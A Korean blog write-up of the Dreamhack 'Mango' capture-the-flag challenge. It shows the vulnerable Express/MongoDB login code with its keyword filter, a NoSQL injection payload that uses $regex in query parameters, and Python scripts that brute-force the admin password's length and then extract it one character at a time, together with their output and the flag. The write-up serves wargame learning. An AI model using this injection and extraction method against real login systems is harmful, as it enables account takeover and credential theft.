[WEB] Mango 문제풀이

NoSQL은 SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 차이점이다. NoSQL 데이터베이스는 단순 검색 및 추가 작업을 위한 매우 최적화된 저장 공간이다.

 

MangoDB는 key-value의 쌍을 가지는 JSON objects 형태인 도큐먼트를 저장한다.

예를 들어 number가 30보다 작은 데이터를 찾기 위해서

RDBMS에서는 select * from inventory where number>30; 이라는 sql 쿼리를 사용한다.

MangoDB에서는 db.inventory.find({number:{&lt:30}}) 와 같은 쿼리를 사용한다.

 

그럼 문제를 확인해보자.

 

 

데이터베이스에 저장된 admin 계정의 비밀번호에서 FLAG를 획득하는 문제이다. 접속해보자.

 

login 요청 파라미터로 보인다. URL 뒤에 붙여보자.

 

 

guest라는 문구가 출력되며 왠지 guest로 로그인 됨을 알려주는 메시지 같다.

admin으로 테스트해보자.

 

filter라는 문구가 나오는 것으로 보아 admin 계정은 필터링이 걸려있는 것 같다.

소스코드를 확인해보자.

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

필터링 문자열은 다음과 같다. 'admin', 'dh', 'admi' 

클라이언트 요청 값에서 해당 문자열들을 필터링 하고, uid와 upw를 충족시키는 user를 조회한다.

 

MongoDB 쿼리 사용 시에는 정규표현식들을 사용할 수 있기 때문에 이를 이용하여 admin 계정을 조회해보자.

계정은 admin으로 5글자 이며, 패스워드는 DH{~} 라는 형태이다.

정확한 패스워드 길이를 알아야 한 글자씩 맞춰나갈 수 있기 때문에 차례대로 확인해보자.

페이로드는 다음과 같다.

 

/login?uid[$regex]=.{5}&upw[$regex]=.{?}

 

패스워드 길이는 1부터 50까지만 테스트해보자.

노가다로 할 수 없으니 파이썬으로 간단하게 코드를 작성했다.

 

import requests

for i in range(50):
    response=requests.get("http://host1.dreamhack.games:11943/login?uid[$regex]=.{5}&upw[$regex]=.{"+str(i)+"}")
    print("PW 길이:"+str(i)+", 결과:"+str(response.content))

 

코드를 실행해보자.

 

===== RESTART: C:/Users/sion/AppData/Local/Programs/Python/Python39/test.py ====
PW 길이:0, 결과:b'guest'
PW 길이:1, 결과:b'guest'
PW 길이:2, 결과:b'guest'
PW 길이:3, 결과:b'guest'
PW 길이:4, 결과:b'guest'
PW 길이:5, 결과:b'guest'
PW 길이:6, 결과:b'dreamhack'
PW 길이:7, 결과:b'dreamhack'
PW 길이:8, 결과:b'dreamhack'
PW 길이:9, 결과:b'dreamhack'
PW 길이:10, 결과:b'admin'
PW 길이:11, 결과:b'admin'
PW 길이:12, 결과:b'admin'
PW 길이:13, 결과:b'admin'
PW 길이:14, 결과:b'admin'
PW 길이:15, 결과:b'admin'
PW 길이:16, 결과:b'admin'
PW 길이:17, 결과:b'admin'
PW 길이:18, 결과:b'admin'
PW 길이:19, 결과:b'admin'
PW 길이:20, 결과:b'admin'
PW 길이:21, 결과:b'admin'
PW 길이:22, 결과:b'admin'
PW 길이:23, 결과:b'admin'
PW 길이:24, 결과:b'admin'
PW 길이:25, 결과:b'admin'
PW 길이:26, 결과:b'admin'
PW 길이:27, 결과:b'admin'
PW 길이:28, 결과:b'admin'
PW 길이:29, 결과:b'admin'
PW 길이:30, 결과:b'admin'
PW 길이:31, 결과:b'admin'
PW 길이:32, 결과:b'admin'
PW 길이:33, 결과:b'admin'
PW 길이:34, 결과:b'admin'
PW 길이:35, 결과:b'admin'
PW 길이:36, 결과:b'admin'
PW 길이:37, 결과:b'undefined'
PW 길이:38, 결과:b'undefined'
PW 길이:39, 결과:b'undefined'
PW 길이:40, 결과:b'undefined'
PW 길이:41, 결과:b'undefined'
PW 길이:42, 결과:b'undefined'
PW 길이:43, 결과:b'undefined'
PW 길이:44, 결과:b'undefined'
PW 길이:45, 결과:b'undefined'
PW 길이:46, 결과:b'undefined'
PW 길이:47, 결과:b'undefined'
PW 길이:48, 결과:b'undefined'
PW 길이:49, 결과:b'undefined'

 

결과 값은 다음과 같다. id의 길이가 5글자 일때,

pw 길이가 0~5까지의 결과는 guest이다. 

pw 길이가 6~9일 때의 결과는 dreamhack이다.

pw 길이가 10~36일 때의 결과는 admin이다.

그 이상일 경우에는 결과가 출력되지 았는다.

 

여기에서 admin 계정의 패스워드 길이는 36글자 임을 알 수 있는데

문제를 다시보니 힌트가 써져있었다...하하

 

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

 

32글자의 알파벳+숫자라고 하네...ㅎㅎ

여기다가 DH{}가 붙으니 36글자가 맞다. 검토한셈 치고 넘어가자. 분하다.

 

그럼 블라인드 인젝션 하듯이 한글자씩 맞춰보면 된다.

이것도 파이썬 코드로 작성해보자.

* 노가다로 해도 된다. 사실 노가다로 풀고 후에 파이썬으로 있어보이는 척 하는거다. 

 

코드를 작성할 때 다음을 참고한다.

1. 플래그는 DH{32글자의 영문자/숫자 조합} 형태이다.

2. 32개의 문자 조합 중에서 첫번째 문자를 무작위 대입하고, 나머지 문자는 정규표현식 길이로 조회한다.

   예) .{2}{'1번째문자'.{32-1}

3. response 응답 값이 'admin'이 출력된다면 무작위 대입한 문자를 기억하여 다음 문자 조회에 활용한다.

   예) .{2}{'1번째문자'+'2번째문자'.{32-2}

4. 1번째 문자부터 32번째 문자까지 동일하게 무작위 대입을 시도하고, 마지막으로 기억한 문자열을 출력한다.

 

import requests
import string

list=['0','1','2','3','4','5','6','7','8','9']+list(string.ascii_lowercase)+list(string.ascii_uppercase);

url="http://host1.dreamhack.games:20847/login?uid[$regex]=.{5}&upw[$regex]=";

passwd=".{2}{"

for i in range(32):
    for j in range(len(list)): 
        response=requests.get(url+passwd+list[j]+".{"+str(32-i)+"}")

        if 'admin' in response.text:
            passwd+=list[j]
            break;

print(passwd+"}")

 

해당 코드를 실행하면 기억한 문자열이 다음과 같이 출력된다.

 

 

이걸 FLAG 형태로 바꾸면 다음과 같다.

 

DH{89e50fa6fafe2604e33c0ba05843d3df}

 

문제풀이 끗

'워게임 > dreamhack' 카테고리의 다른 글

[dreamhack] file-csp-1 문제풀이  (0) 2021.07.02
[dreamhack] login-1 문제풀이  (0) 2021.07.01
[dreamhack] simple-ssti 문제풀이  (0) 2021.06.20
[dreamhack] web-misconf-1 문제풀이  (0) 2021.06.15
[dreamhack] php-1 문제풀이  (0) 2021.06.15
복사했습니다!